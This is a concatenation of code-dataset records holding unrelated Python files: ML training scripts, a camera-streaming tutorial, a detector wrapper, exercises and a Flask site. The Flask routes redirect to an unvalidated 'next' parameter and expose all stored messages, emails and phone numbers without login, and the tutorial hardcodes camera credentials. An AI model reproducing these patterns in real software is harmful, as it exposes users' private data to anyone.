widget.show()\n\n def change_project(self, project):\n active_project = self.project_manager.active_project\n if active_project:\n active_project.close()\n if getattr(self, 'project_definitions', None):\n self.project_definitions.unload()\n del self.project_definitions\n for domain in self.domains:\n domain.unload()\n del domain\n\n if not project:\n self.ui.domain_button.setEnabled(False)\n self.ui.definition_button.setEnabled(False)\n return\n else:\n self.ui.domain_button.setEnabled(True)\n self.ui.definition_button.setEnabled(True)\n\n self.project_manager.active_project = project\n\n self.setup_definitions()\n self.setup_domains()\n\n # ToDo: show last active widget\n\n def show_setting(self):\n dialog = SettingsDialog\n\n def close(self):\n if getattr(self, 'project_definitions', None):\n self.project_definitions.close()\n for domain in self.domains:\n domain.close()\n super().close()\n\n def unload(self):\n self.close()\n if self.project_definitions:\n self.project_definitions.unload()\n del self.project_definitions\n for domain in self.domains:\n domain.unload()\n del domain\n super().unload()\n","sub_path":"ProjektCheck_dockwidget.py","file_name":"ProjektCheck_dockwidget.py","file_ext":"py","file_size_in_byte":7894,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"295295268","text":"\"\"\"GMLVQ example using the MNIST dataset.\"\"\"\n\nimport argparse\n\nimport prototorch as pt\nimport pytorch_lightning as pl\nimport torch\nfrom torchvision import transforms\nfrom torchvision.datasets import MNIST\n\nif __name__ == \"__main__\":\n # Command-line arguments\n parser = argparse.ArgumentParser()\n parser = pl.Trainer.add_argparse_args(parser)\n args = parser.parse_args()\n\n # Dataset\n train_ds = MNIST(\n \"~/datasets\",\n train=True,\n download=True,\n transform=transforms.Compose([\n transforms.ToTensor(),\n ]),\n )\n test_ds = MNIST(\n \"~/datasets\",\n train=False,\n download=True,\n transform=transforms.Compose([\n transforms.ToTensor(),\n ]),\n )\n\n # Dataloaders\n train_loader = torch.utils.data.DataLoader(train_ds,\n num_workers=0,\n batch_size=256)\n test_loader = torch.utils.data.DataLoader(test_ds,\n num_workers=0,\n batch_size=256)\n\n # Hyperparameters\n num_classes = 10\n prototypes_per_class = 10\n hparams = dict(\n input_dim=28 * 28,\n latent_dim=28 * 28,\n distribution=(num_classes, prototypes_per_class),\n proto_lr=0.01,\n bb_lr=0.01,\n )\n\n # Initialize the model\n model = pt.models.ImageGMLVQ(\n hparams,\n optimizer=torch.optim.Adam,\n prototypes_initializer=pt.initializers.SMCI(train_ds),\n )\n\n # Callbacks\n vis = pt.models.VisImgComp(\n data=train_ds,\n num_columns=10,\n show=False,\n tensorboard=True,\n random_data=100,\n add_embedding=True,\n embedding_data=200,\n flatten_data=False,\n )\n pruning = pt.models.PruneLoserPrototypes(\n threshold=0.01,\n idle_epochs=1,\n prune_quota_per_epoch=10,\n frequency=1,\n verbose=True,\n )\n es = pl.callbacks.EarlyStopping(\n monitor=\"train_loss\",\n min_delta=0.001,\n patience=15,\n mode=\"min\",\n check_on_train_epoch_end=True,\n )\n\n # Setup trainer\n trainer = pl.Trainer.from_argparse_args(\n args,\n callbacks=[\n vis,\n pruning,\n # es,\n ],\n terminate_on_nan=True,\n weights_summary=None,\n # accelerator=\"ddp\",\n )\n\n # Training loop\n trainer.fit(model, train_loader)\n","sub_path":"examples/gmlvq_mnist.py","file_name":"gmlvq_mnist.py","file_ext":"py","file_size_in_byte":2506,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"236628961","text":"PROB = 1e-7\nMAX_CORRUPTION_PERCENTAGE = 1e-5\nPRINT_ONLY = False\nFIRST_BYTE = -1 # -1 means random\nLAST_BYTE = -1 # -1 means random\nBIT = -1 # -1 means random\nUSE_RANDOM_LOCATIONS = True\nALLOW_NaN_VALUES = False\nLOCATIONS_TO_CORRUPT = []\nHDF5_FILE = \"\"\n\nSTR_HDF5_FILE = \"hdf5_file\"\nSTR_PROB = \"prob\"\nSTR_MAX_CORRUPTION_PERCENTAGE = \"max_corruption_percentage\"\nSTR_FIRST_BYTE = \"first_byte\"\nSTR_LAST_BYTE = \"last_byte\"\nSTR_BIT = \"bit\"\nSTR_USE_RANDOM_LOCATIONS = \"use_random_locations\"\nSTR_ALLOW_NaN_VALUES = \"allow_NaN_values\"\nSTR_LOCATIONS_TO_CORRUPT = \"locations_to_corrupt\"\n","sub_path":"globals.py","file_name":"globals.py","file_ext":"py","file_size_in_byte":582,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"427138360","text":"from datetime import datetime\nfrom flask import render_template, url_for, flash, redirect, request, abort,g\nfrom flask_login import login_user, current_user, logout_user, login_required\nfrom web import app, db, bcrypt, mail\nfrom web.forms import RegistrationForm, LoginForm\nfrom web.models import User, Messages, Phonecall, Emails\n\n\n\n\n@app.route(\"/\")\ndef index():\n return render_template('index.html')\n\n\n@app.route(\"/blog\")\ndef blog():\n return render_template('blog.html')\n\n\n\n@app.route(\"/blog1\")\ndef blog1():\n return render_template('blog1.html')\n\n\n\n@app.route(\"/contact\")\ndef contact():\n return render_template('contact.html')\n\n\n\n@app.route(\"/about\")\ndef about():\n return render_template('about.html')\n\n\n\n@app.route(\"/services\")\ndef services():\n return render_template('services.html')\n\n\n\n\n\n\n\n\n@app.route(\"/register\", methods=['GET', 'POST'])\ndef register():\n if current_user.is_authenticated:\n return redirect(url_for('index'))\n form = RegistrationForm()\n if form.validate_on_submit():\n hashed_password = bcrypt.generate_password_hash(form.password.data).decode('utf-8')\n user = User(username=form.username.data, email=form.email.data, password=hashed_password)\n db.session.add(user)\n db.session.commit()\n flash('Your account has been created! You are now able to log in', 'success')\n return redirect(url_for('login'))\n return render_template('register.html', title='Register', form=form)\n\n\n@app.route(\"/login\", methods=['GET', 'POST'])\ndef login():\n if current_user.is_authenticated:\n return redirect(url_for('index'))\n form = LoginForm()\n if form.validate_on_submit():\n user = User.query.filter_by(email=form.email.data).first()\n if user and bcrypt.check_password_hash(user.password, form.password.data):\n login_user(user, remember=form.remember.data)\n next_page = request.args.get('next')\n db.session.commit()\n return redirect(next_page) if next_page else redirect(url_for('index'))\n else:\n flash('Login Unsuccessful. Please check email and password', 'danger')\n return render_template('login.html', title='Login', form=form)\n\n\n@app.route(\"/logout\")\ndef logout():\n logout_user()\n return redirect(url_for('index'))\n\n\n@app.route(\"/new_message\", methods=['GET', 'POST'])\ndef new_message():\n if request.method == \"POST\":\n message = Messages(names=request.form['name'],emails=request.form['email'],subjects=request.form['subject'],messages=request.form['message'])\n db.session.add(message)\n db.session.commit()\n flash('Your message has been sent!', 'success')\n return redirect(url_for('contact'))\n\n\n\n\n@app.route(\"/new_call\", methods=['GET', 'POST'])\ndef new_call():\n if request.method == \"POST\":\n message = Phonecall(names=request.form['author'],emails=request.form['email0'],phones=request.form['phone'])\n db.session.add(message)\n db.session.commit()\n flash('Your request was successful!', 'success')\n return redirect(url_for('index'))\n\n\n\n@app.route(\"/emails\", methods=['GET', 'POST'])\ndef emails():\n if request.method == \"POST\":\n message = Emails(emails=request.form['ss'])\n db.session.add(message)\n db.session.commit()\n flash('Your request was successful!', 'success')\n return redirect(url_for('index'))\n\n\n\n\n@app.route(\"/get_message\")\ndef get_message():\n allmessages = Messages.query.all()\n return render_template('get_message.html',allmessages=allmessages)\n\n\n\n@app.route(\"/get_call\")\ndef get_call():\n allcalls = Phonecall.query.all()\n return render_template('get_call.html',allcalls=allcalls)\n\n\n\n@app.route(\"/get_email\")\ndef get_email():\n allemails = Emails.query.all()\n return render_template('get_emails.html',allemails=allemails)\n","sub_path":"web/routes.py","file_name":"routes.py","file_ext":"py","file_size_in_byte":3838,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"71008277","text":"import glob\nimport os\nimport warnings\nimport numpy as np\nimport math\n\n\n# ignoring all \"PIL cannot read EXIF metainfo for the images\" warnings\nwarnings.filterwarnings('ignore', '(Possibly )?corrupt EXIF data', UserWarning)\n\n# Metadata Warning, tag 256 had too many entries: 42, expected 1\nwarnings.filterwarnings('ignore', 'Metadata warning', UserWarning)\n\n# Numpy FutureWarnings from tensorflow import\nwarnings.filterwarnings('ignore', category=FutureWarning)\n\nimport tensorflow as tf\n\nprint('TensorFlow version:', tf.__version__)\nprint('Is GPU available? tf.test.is_gpu_available:', tf.test.is_gpu_available())\n\n\ndef truncate_float(x, precision=3):\n \"\"\"\n Function for truncating a float scalar to the defined precision.\n For example: truncate_float(0.0003214884) --> 0.000321\n This function is primarily used to achieve a certain float representation\n before exporting to JSON\n Args:\n x (float) Scalar to truncate\n precision (int) The number of significant digits to preserve, should be\n greater or equal 1\n \"\"\"\n\n assert precision > 0\n\n if np.isclose(x, 0):\n return 0\n else:\n # Determine the factor, which shifts the decimal point of x\n # just behind the last significant digit\n factor = math.pow(10, precision - 1 - math.floor(math.log10(abs(x))))\n # Shift decimal point by multiplicatipon with factor, flooring, and\n # division by factor\n return math.floor(x * factor) / factor\n\n\nclass ImagePathUtils:\n \"\"\"A collection of utility functions supporting this stand-alone script\"\"\"\n\n # Stick this into filenames before the extension for the rendered result\n DETECTION_FILENAME_INSERT = '_detections'\n\n image_extensions = ['.jpg', '.jpeg', '.gif', '.png']\n\n @staticmethod\n def is_image_file(s):\n \"\"\"\n Check a file's extension against a hard-coded set of image file extensions '\n \"\"\"\n ext = os.path.splitext(s)[1]\n return ext.lower() in ImagePathUtils.image_extensions\n\n @staticmethod\n def find_image_files(strings):\n \"\"\"\n Given a list of strings that are potentially image file names, look for strings\n that actually look like image file names (based on extension).\n \"\"\"\n return [s for s in strings if ImagePathUtils.is_image_file(s)]\n\n @staticmethod\n def find_images(dir_name, recursive=False):\n \"\"\"\n Find all files in a directory that look like image file names\n \"\"\"\n if recursive:\n strings = glob.glob(os.path.join(dir_name, '**', '*.*'), recursive=True)\n else:\n strings = glob.glob(os.path.join(dir_name, '*.*'))\n\n image_strings = ImagePathUtils.find_image_files(strings)\n\n return image_strings\n\n\n\nclass TFDetector:\n \"\"\"\n A detector model loaded at the time of initialization. It is intended to be used with\n the MegaDetector (TF). The inference batch size is set to 1; code needs to be modified\n to support larger batch sizes, including resizing appropriately.\n \"\"\"\n\n # Number of decimal places to round to for confidence and bbox coordinates\n CONF_DIGITS = 3\n COORD_DIGITS = 4\n\n # MegaDetector was trained with batch size of 1, and the resizing function is a part\n # of the inference graph\n BATCH_SIZE = 1\n\n # An enumeration of failure reasons\n FAILURE_TF_INFER = 'Failure TF inference'\n FAILURE_IMAGE_OPEN = 'Failure image access'\n\n DEFAULT_RENDERING_CONFIDENCE_THRESHOLD = 0.85 # to render bounding boxes\n DEFAULT_OUTPUT_CONFIDENCE_THRESHOLD = 0.1 # to include in the output json file\n\n DEFAULT_DETECTOR_LABEL_MAP = {\n '1': 'animal',\n '2': 'person',\n '4': 'vehicle' # will be available in megadetector v4\n }\n\n NUM_DETECTOR_CATEGORIES = 4 # animal, person, group, vehicle - for color assignment\n\n def __init__(self, model_path):\n \"\"\"Loads the model at model_path and start a tf.Session with this graph. The necessary\n input and output tensor handles are obtained also.\"\"\"\n detection_graph = TFDetector.__load_model(model_path)\n self.tf_session = tf.Session(graph=detection_graph)\n\n self.image_tensor = detection_graph.get_tensor_by_name('image_tensor:0')\n self.box_tensor = detection_graph.get_tensor_by_name('detection_boxes:0')\n self.score_tensor = detection_graph.get_tensor_by_name('detection_scores:0')\n self.class_tensor = detection_graph.get_tensor_by_name('detection_classes:0')\n\n @staticmethod\n def round_and_make_float(d, precision=4):\n return truncate_float(float(d), precision=precision)\n\n @staticmethod\n def __convert_coords(np_array):\n \"\"\" Two effects: convert the numpy floats to Python floats, and also change the coordinates from\n [y1, x1, y2, x2] to [x1, y1, width_box, height_box] (in relative coordinates still).\n Args:\n np_array: array of predicted bounding box coordinates from the TF detector\n Returns: array of predicted bounding box coordinates as Python floats and in [x1, y1, width_box, height_box]\n \"\"\"\n # change from [y1, x1, y2, x2] to [x1, y1, width_box, height_box]\n width_box = np_array[3] - np_array[1]\n height_box = np_array[2] - np_array[0]\n\n new = [np_array[1], np_array[0], width_box, height_box] # cannot be a numpy array; needs to be a list\n\n # convert numpy floats to Python floats\n for i, d in enumerate(new):\n new[i] = TFDetector.round_and_make_float(d, precision=TFDetector.COORD_DIGITS)\n return new\n\n @staticmethod\n def __load_model(model_path):\n \"\"\"Loads a detection model (i.e., create a graph) from a .pb file.\n Args:\n model_path: .pb file of the model.\n Returns: the loaded graph.\n \"\"\"\n print('TFDetector: Loading graph...')\n detection_graph = tf.Graph()\n with detection_graph.as_default():\n od_graph_def = tf.GraphDef()\n with tf.gfile.GFile(model_path, 'rb') as fid:\n serialized_graph = fid.read()\n od_graph_def.ParseFromString(serialized_graph)\n tf.import_graph_def(od_graph_def, name='')\n print('TFDetector: Detection graph loaded.')\n\n return detection_graph\n\n def _generate_detections_one_image(self, image):\n np_im = np.asarray(image, np.uint8)\n im_w_batch_dim = np.expand_dims(np_im, axis=0)\n\n # need to change the above line to the following if supporting a batch size > 1 and resizing to the same size\n # np_images = [np.asarray(image, np.uint8) for image in images]\n # images_stacked = np.stack(np_images, axis=0) if len(images) > 1 else np.expand_dims(np_images[0], axis=0)\n\n # performs inference\n (box_tensor_out, score_tensor_out, class_tensor_out) = self.tf_session.run(\n [self.box_tensor, self.score_tensor, self.class_tensor],\n feed_dict={self.image_tensor: im_w_batch_dim})\n\n return box_tensor_out, score_tensor_out, class_tensor_out\n\n def generate_detections_one_image(self, image, image_id,\n detection_threshold=DEFAULT_OUTPUT_CONFIDENCE_THRESHOLD):\n \"\"\"Apply the detector to an image.\n Args:\n image: the PIL Image object\n image_id: a path to identify the image; will be in the `file` field of the output object\n detection_threshold: confidence above which to include the detection proposal\n Returns:\n A dict with the following fields, see https://github.com/microsoft/CameraTraps/tree/siyu/inference_refactor/api/batch_processing#batch-processing-api-output-format\n - image_id (always present)\n - max_detection_conf\n - detections, which is a list of detection objects containing `category`, `conf` and `bbox`\n - failure\n \"\"\"\n result = {\n 'file': image_id\n }\n try:\n b_box, b_score, b_class = self._generate_detections_one_image(image)\n\n # our batch size is 1; need to loop the batch dim if supporting batch size > 1\n boxes, scores, classes = b_box[0], b_score[0], b_class[0]\n\n detections_cur_image = [] # will be empty for an image with no confident detections\n max_detection_conf = 0.0\n for b, s, c in zip(boxes, scores, classes):\n if s > detection_threshold:\n detection_entry = {\n 'category': str(int(c)), # use string type for the numerical class label, not int\n 'conf': truncate_float(float(s), # cast to float for json serialization\n precision=TFDetector.CONF_DIGITS),\n 'bbox': TFDetector.__convert_coords(b)\n }\n detections_cur_image.append(detection_entry)\n if s > max_detection_conf:\n max_detection_conf = s\n\n result['max_detection_conf'] = truncate_float(float(max_detection_conf),\n precision=TFDetector.CONF_DIGITS)\n result['detections'] = detections_cur_image\n\n except Exception as e:\n result['failure'] = TFDetector.FAILURE_TF_INFER\n print('TFDetector: image {} failed during inference: {}'.format(image_id, str(e)))\n\n return result\n\n\nif __name__ == \"__main__\":\n pass","sub_path":"python/megadetector_V3/tf_detector_classes.py","file_name":"tf_detector_classes.py","file_ext":"py","file_size_in_byte":9535,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"562381865","text":"import numpy as np\n\nimport torch\nimport torch.nn as nn\nimport torch.optim as optim\nimport torch.nn.functional as F\nimport torch.autograd as autograd\nimport wrapper\n\nfrom multiprocessing_env import SubprocVecEnv\nfrom minipacman import MiniPacman\nfrom actor_critic import *\nfrom breakout import *\n\nfrom IPython.display import clear_output\n#import matplotlib.pyplot as plt\n\nUSE_CUDA = torch.cuda.is_available()\nVariable = lambda *args, **kwargs: autograd.Variable(*args, **kwargs).cuda() if USE_CUDA else autograd.Variable(*args, **kwargs)\n\nmode = \"regular\" \nnum_envs = 16 \nenv_name = \"Breakout-v0\"\ndef make_env():\n def _thunk():\n env = wrapper.make_env(env_name)\n return env\n\n return _thunk\n\nenv = make_env()\nenvs = [make_env() for i in range(num_envs)]\nenvs = SubprocVecEnv(envs)\n\nstate_shape = env().observation_space.shape\naction_space = env().action_space.n\n\n#a2c hyperparams:\ngamma = 0.99\nentropy_coef = 0.01\nvalue_loss_coef = 0.5\nmax_grad_norm = 0.5\nnum_steps = 5\nnum_frames = int(10e4)\n\n#rmsprop hyperparams:\nlr = 7e-4\neps = 1e-5\nalpha = 0.99\n\n#Init a2c and rmsprop\nactor_critic = ActorCritic(state_shape, action_space)\noptimizer = optim.RMSprop(actor_critic.parameters(), lr, eps=eps, alpha=alpha)\n\n\nif USE_CUDA:\n\tactor_critic = actor_critic.cuda()\n\n\nrollout = RolloutStorage(num_steps, num_envs, state_shape)\nrollout.cuda()\n\nall_rewards = []\nall_losses = []\n\n\nstate = envs.reset()\n# #print(\"state len:\",len(state))\nstate = torch.FloatTensor(np.float32(state))\n\nrollout.states[0].copy_(state)\n\nepisode_rewards = torch.zeros(num_envs, 1)\nfinal_rewards = torch.zeros(num_envs, 1)\n\naction = actor_critic.act(Variable(state))\nprint(action)\n\nfor i_update in range(num_frames):\n\tfor step in range(num_steps):\n\n\t\taction = actor_critic.act(Variable(state))\n\n\t\tnext_state, reward, done, _ = envs.step(action.squeeze(1).cpu().data.numpy())\n\t\treward = torch.FloatTensor(reward).unsqueeze(1)\n\n\t\tepisode_rewards += reward\n\n\t\tmasks = torch.FloatTensor(1-np.array(done)).unsqueeze(1)\n\n\t\tfinal_rewards *= masks\n\t\tfinal_rewards += (1-masks) * episode_rewards\n\t\tepisode_rewards *= masks\n\n\t\tif USE_CUDA:\n\t\t\tmasks = masks.cuda()\n\n\t\tstate = torch.FloatTensor(np.float32(next_state))\n\t\trollout.insert(step, state, action.data, reward, masks)\n\n\t_, next_value = actor_critic(Variable(rollout.states[-1], volatile=True))\n\tnext_value = next_value.data\n\n\treturns = rollout.compute_returns(next_value, gamma)\n\n\tlogit, action_log_probs, values, entropy = actor_critic.evaluate_actions(\n\t Variable(rollout.states[:-1]).view(-1, *state_shape),\n\t Variable(rollout.actions).view(-1, 1)\n\t)\n\n\n\n\tvalues = values.view(num_steps, num_envs, 1)\n\taction_log_probs = action_log_probs.view(num_steps, num_envs, 1)\n\tadvantages = Variable(returns) - values\n\n\tvalue_loss = advantages.pow(2).mean()\n\taction_loss = -(Variable(advantages.data) * action_log_probs).mean()\n\n\toptimizer.zero_grad()\n\tloss = value_loss * value_loss_coef + action_loss - entropy * entropy_coef\n\tloss.backward()\n\tnn.utils.clip_grad_norm(actor_critic.parameters(), max_grad_norm)\n\toptimizer.step()\n\n\tif i_update % 100 == 0:\n\t\tprint(\"i_update\",i_update)\n # all_rewards.append(final_rewards.mean())\n # all_losses.append(loss.data[0])\n \n # plt.figure(figsize=(20,5))\n # plt.subplot(131)\n # plt.title('epoch %s. reward: %s' % (i_update, np.mean(all_rewards[-10:])))\n # plt.plot(all_rewards)\n # plt.subplot(132)\n # plt.title('loss %s' % all_losses[-1])\n # plt.plot(all_losses)\n # #plt.show()\n \n\trollout.after_update()\n\n\ntorch.save(actor_critic.state_dict(), \"breakout_cien_mil\")\n\n\n","sub_path":"I2A_experiments_mini_pacman/mini_pacman_code/02_train_a2c.py","file_name":"02_train_a2c.py","file_ext":"py","file_size_in_byte":3627,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"175822554","text":"import sys\ninput = sys.stdin.readline\nsys.setrecursionlimit(10**8)\ndp = [0, 1] + [-1] * 89\n\ndef fibo(n):\n if dp[n] != -1:\n return dp[n]\n dp[n] = fibo(n-2) + fibo(n-1)\n return dp[n]\n\nn = int(input())\nprint(fibo(n))\n","sub_path":"dp/2748.py","file_name":"2748.py","file_ext":"py","file_size_in_byte":230,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"90542709","text":"# tuples are represented in () Immutable \n\nmyTuple = ('Hello', 'World', 'Python', 'is', 'awesome')\n\n#Things not to do with tuples\n# tuple.sort()\n# tuple.append(5)\n# tuple.reverse()\n\n#Simulataneous assignment\n(x,y) = (10,20)\nprint(x)\n\n#dictionary.items() gives a list of tuples\n\nif (0,1,2) < (3,2,1): #returns True because compares only the first element in the tuple\n\tprint('yes')\n\n#To sort a dictionary\nd = dict()\nd['one']=1\nd['two']=2\nd['three']=3\n\nprint(d)\nprint(sorted(d.items())) #Because d.items() is a list of tuples\nprint(d)\n\n#Output of Above Code\n'''\n{'one': 1, 'two': 2, 'three': 3}\n[('one', 1), ('three', 3), ('two', 2)]\n{'one': 1, 'two': 2, 'three': 3}\n'''\n\nfor k,v in sorted(d.items()):\n\tprint(k,v)\n\n#Sort by values\nc = {'a':10,'c':20,'b':5}\ntmp = list()\nfor k,v in c.items():\n\ttmp.append((v,k))\nprint(tmp)\ntmp = sorted(tmp, reverse=True)\nprint(tmp)\n\n\n#The above code can be done using list comprehension\nprint(sorted([(v,k) for k,v in c.items()], reverse=True))\n#It creates a dynamic list\n\n\n#10.2 Exercise\nname = input(\"Enter file:\")\nif len(name) < 1 : name = \"mbox-short.txt\"\nhandle = open(name)\ntime = list()\nfor line in handle:\n if line.startswith('From '):\n line = line.rstrip()\n lst = line.split()\n time.append(lst[-2][:2])\ncount = dict()\nfor i in time:\n count[i] = count.get(i,0) + 1\n\nfor k,v in sorted(count.items()):\n print(k,v)","sub_path":"tuples.py","file_name":"tuples.py","file_ext":"py","file_size_in_byte":1381,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"378802379","text":"#\n\"\"\"\nfiltergraph:\n\nStreaming part \n(LiveThread:livethread)---+\n |\nDecoding part |\n(AVThread:avthread) <<----+ \n |\n | Presentation part\n +--->> (OpenGLThread:glthread)\n\"\"\"\n#\n#\nimport time\nfrom valkka.core import *\n\n# presentation part\nglthread =OpenGLThread (\"glthread\")\ngl_in_filter =glthread.getFrameFilter()\n\n# decoding part\navthread =AVThread(\"avthread\",gl_in_filter)\nav_in_filter =avthread.getFrameFilter()\n\n# streaming part\nlivethread =LiveThread(\"livethread\")\n\n# define connection to camera\nctx =LiveConnectionContext(LiveConnectionType_rtsp, \"rtsp://admin:nordic12345@192.168.1.41\", 1, av_in_filter)\n\n# start threads in end-to-beginning order\nglthread.startCall()\navthread.startCall()\nlivethread.startCall()\n\n# start decoding\navthread.decodingOnCall()\n\nlivethread.registerStreamCall(ctx)\nlivethread.playStreamCall(ctx)\n#\n\n\"\"\"\nStreaming the same camera to several X windows is trivial; we just need to add more render groups (aka x windows) and render contexes (mappings):\n\"\"\"\nid_list=[]\n\nfor i in range(10):\n window_id =glthread.createWindow()\n glthread.newRenderGroupCall(window_id)\n context_id=glthread.newRenderContextCall(1,window_id,0)\n id_list.append((context_id,window_id)) # save context and window ids\n\ntime.sleep(10)\n\nfor ids in id_list:\n glthread.delRenderContextCall(ids[0])\n glthread.delRenderGroupCall(ids[1])\n\n#\n# stop decoding\navthread.decodingOffCall()\n\n# stop threads in beginning-to-end order\nlivethread.stopCall()\navthread.stopCall()\nglthread.stopCall()\n\nprint(\"bye\")\n#\n\n\n\n","sub_path":"api_level_1/tutorial/lesson_3_b.py","file_name":"lesson_3_b.py","file_ext":"py","file_size_in_byte":1701,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"508747828","text":"import numpy as np\nimport pandas as pd\n\nfrom PaPr.ml_search.ml_search_copy import MLSearch\nfrom PaPr.utils.dp_gain import DpGain\n\n\nclass tree_single(MLSearch):\n def __init__(self):\n super().__init__()\n self.tree_single_weight = None\n\n def set_tree_single_weight(self, input_gene):\n loss_leaves = []\n tree_single_weight = [1] * 112\n foo = DpGain(tree_path=self.tree_path,\n label_names=np.array(self.tree_label))\n if input_gene.sum() > 2 and input_gene.sum() < 110:\n foo.set_gene(input_gene)\n score, gain_node, single_loss = foo.score()\n for i in single_loss:\n loss_node = foo.get_single_loss_node(i)\n loss_leaves.extend(loss_node.get_leaf_names())\n for j in loss_leaves:\n idx = self.tree_label.index(j)\n tree_single_weight[idx] = 1 / 112\n return tree_single_weight\n\n def start_tree_single_wight(self):\n \"\"\"get all profile tree single weight\"\"\"\n tem_tree_wight = []\n for line in self.profile_data:\n tem_tree_wight.append(self.set_tree_single_weight(np.array(line)))\n self.tree_single_weight_all = np.array(tem_tree_wight)\n\n def get_intersect(self, idx):\n \"\"\"get more than two list intersect\"\"\"\n tem = idx.pop()\n for i in range(len(idx)):\n b = idx.pop()\n tem = list(set(tem).intersection(set(b)))\n return tem\n\n def set_weight(self, weight_idx):\n \"\"\"set weight by tree single loss\"\"\"\n weight_vec = [1] * 112\n for i in weight_idx:\n weight_vec[i] = 1 / 112\n return weight_vec\n\n def input_tree_single_wight(self):\n \"\"\"get input gene single weight\"\"\"\n global input_weight\n cluster_idx = np.unique(self.clime_index)\n tem_tree_weight = []\n idx_tree_weight = []\n re_tree_weight = []\n for line in self.input_genes_data:\n tem_tree_weight.append(self.set_tree_single_weight(np.array(line)))\n input_weight = np.array(tem_tree_weight)\n for i in cluster_idx:\n idx = np.where(self.clime_index == i)\n idx_w = []\n for j in idx[0]:\n idx_w.append(np.where(input_weight[j] == 1 / 112)[0].tolist())\n idx_tree_weight.append(self.get_intersect(idx_w))\n for k in cluster_idx:\n re_tree_weight.append(self.set_weight(idx_tree_weight[k - 1]))\n\n self.tree_single_weight = np.array(re_tree_weight)\n return self.tree_single_weight\n\n def get_same_tree_weight(self, input_weight, pred_weight):\n weight_vec = [1] * 112\n input_w = np.where(input_weight == 1 / 112)[0].tolist()\n pred_w = np.where(pred_weight == 1 / 112)[0].tolist()\n same_w = [var for var in input_w if var in pred_w]\n if same_w != []:\n for i in same_w:\n weight_vec[i] = 1 / 112\n # else:\n # for j in input_w:\n # weight_vec[j] = 0.8\n return np.array(weight_vec)\n\n def get_weight_by_group(self, group_gain, gene_gain, input_weight, pred_weight):\n \"\"\"get score by group\"\"\"\n # tree_path = \"/home/yangfang/PCSF/clime_roc/species111.abbrev.manual_binary.nwk\"\n # t = Tree(tree_path)\n group_gain_des = group_gain.get_descendants()\n gene_gain_des = gene_gain.get_descendants()\n # if group_score == gene_score:\n # score = gene_score\n # elif gene_score > group_score:\n # score = gene_score\n # elif gene_score < group_score:\n # score = group_score\n # same = [var for var in group_gain_des if var in gene_gain_des]\n # if same == []:\n # score = -1000\n # else:\n # score = self.get_same_loss(gene_loss, group_loss)\n if group_gain == gene_gain:\n weight = self.get_same_tree_weight(input_weight, pred_weight)\n elif gene_gain in group_gain_des:\n weight = input_weight\n elif group_gain in gene_gain_des:\n weight = pred_weight\n else:\n weight = np.array([1] * 112)\n return weight\n\n def bayes_classify_tree_single_weight(self, input_data, pred_weight):\n clime_unique = np.unique(self.clime_index)\n all_p = [0] * len(clime_unique)\n for i in clime_unique - 1:\n # get p(xn|C)\n each_p = self.all_each_x1[i].copy()\n index_0 = np.where(input_data == 0)\n\n each_p[index_0] = 1 - each_p[index_0]\n tree_single_weight = self.tree_single_weight[i]\n # dp_score_group, dp_node_group, group_loss = self.get_group_dp(label=i+1)\n\n # same_w = self.get_weight_by_group(gene_gain=gene_gain,\n # group_gain=dp_node_group,\n # input_weight=tree_single_weight,\n # pred_weight=pred_weight)\n\n # model by same weight\n idx_input = np.where(tree_single_weight == 1 / 112)[0].tolist()\n len_input_w = len(idx_input)\n idx_pred = np.where(pred_weight == 1 / 112)[0].tolist()\n len_pred_w = len(idx_pred)\n same_w = self.get_same_tree_weight(input_weight=tree_single_weight,\n pred_weight=pred_weight)\n if len_pred_w > len_input_w:\n # have little improve\n # if idx_pred != []:\n # for ii in idx_input:\n # tree_single_weight[ii] = (1/112) / len_input_w\n same_w = tree_single_weight\n elif len_pred_w < len_input_w:\n # if idx_pred != []:\n # for jj in idx_pred:\n # pred_weight[jj] = (1/112) / len_pred_w\n same_w = pred_weight\n # elif len_pred_w == len_input_w:\n # if idx_pred != []:\n # for ii in idx_input:\n # tree_single_weight[ii] = (1/112) * len_input_w\n # same_w = tree_single_weight\n\n # model by dp score\n # same_w = self.get_same_tree_weight(input_weight=tree_single_weight,\n # pred_weight=pred_weight)\n # if dp_score > dp_score_group:\n # same_w = tree_single_weight\n # # dp_score = self.get_same_loss(dp_single_loss, group_loss)\n # elif dp_score == dp_score_group:\n # same_w = self.get_same_tree_weight(input_weight=tree_single_weight,\n # pred_weight=pred_weight)\n\n p = np.log(self.pc[i]) + np.sum(np.log(each_p) * same_w)\n all_p[i] = p\n all_p_arr = np.array(all_p)\n score = all_p_arr.max()\n\n label = np.where(all_p_arr == score)[0][0] + 1\n # no info\n\n pre_by_name = self.clime_name[np.where(self.clime_index == label)]\n no_info = [var for var in pre_by_name if var in self.no_info_hmm]\n\n tem_score = self.no_info(input_data)\n if (tem_score):\n score = tem_score\n elif len(no_info) >= 1:\n score = -1000\n\n return score, all_p_arr, label\n\n def run_bayes_tree_single_weight(self):\n scores = []\n lens = self.profile_data.shape[0]\n for line in range(lens):\n pred_weight = self.tree_single_weight_all[line]\n\n gene_gain = self.dp_gain_node[line]\n dp_score = self.dp_score[line]\n\n\n score1, all_arr1, label1 = self.bayes_classify_tree_single_weight(input_data=np.array(self.profile_data[line]),\n pred_weight=pred_weight)\n score2, all_arr2, label2 = self.bayes_classify(np.array(self.profile_data[line]))\n evi1 = self.evidence(all_arr1)\n evi2 = self.evidence(all_arr2)\n # #dp score\n # dp_single_loss = self.dp_single_loss[line]\n # # get group dp score\n # dp_score_group, dp_node_group, group_loss = self.get_group_dp(label=label)\n #\n # if dp_score > dp_score_group:\n # dp_score = dp_score_group\n # # dp_score = self.get_same_loss(dp_single_loss, group_loss)\n # elif dp_score == dp_score_group:\n # dp_score = self.get_same_loss(dp_single_loss, group_loss)\n\n # score = 